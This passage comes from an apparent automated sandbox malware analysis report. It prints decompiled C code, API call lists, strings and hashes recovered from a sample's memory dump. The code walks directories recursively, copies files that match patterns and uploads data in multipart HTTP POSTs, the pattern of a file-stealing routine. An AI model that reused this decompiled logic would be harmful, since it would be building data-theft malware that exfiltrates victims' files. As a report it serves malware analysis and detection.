							_t239 =  *0x41a2d8; // 0x8782b0
							_t207 =  *0x41a590; // 0x8778c8
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x876118
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x877898
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x857080
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x8763e8
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x876178
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,00872348,00875778,00875CD8,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00857040), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,008778C8,?,008782B0,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,008778C8,?,008782B0,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,00876118), ref: 00404E78
lstrcat.KERNEL32(?,00877898), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00857080), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,008763E8), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00876178), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

200, xrefs: 004050AF
", xrefs: 00404E91
------, xrefs: 00404CE8, 00404E32, 00404EC6
https://, xrefs: 00404C94
", xrefs: 00404F23
, xrefs: 00404F6D

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$200$https://
API String ID: 3074752877-1022799444
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x8781c0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x879030
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x8781f0
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x878f90
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\*, xrefs: 004087ED
%s\%s, xrefs: 00408866

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s\%s, xrefs: 00405F91
%s\*, xrefs: 00405E51
%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00638A30, Relevance: 31.8, APIs: 21, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00638A49
FindFirstFileA.KERNEL32(?,?), ref: 00638A60
StrCmpCA.SHLWAPI(?,00414010), ref: 00638A86
StrCmpCA.SHLWAPI(?,00414014), ref: 00638A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 00638E25
FindClose.KERNEL32(000000FF), ref: 00638E3A

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: b25093d2296f91c8d26793cf76e57e6f84ac969b091917c6f7c5bf6bf77b0180
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: 43D12EB2500209AFCB14DF94DD85EEB73BDAF8C700F048699B60993150EB74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x875e10
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\*, xrefs: 0040128D
%s\%s, xrefs: 00401306, 00401357

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00636090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006360AD
FindFirstFileA.KERNEL32(?,?), ref: 006360C4
lstrcat.KERNEL32(?,?), ref: 006360EC
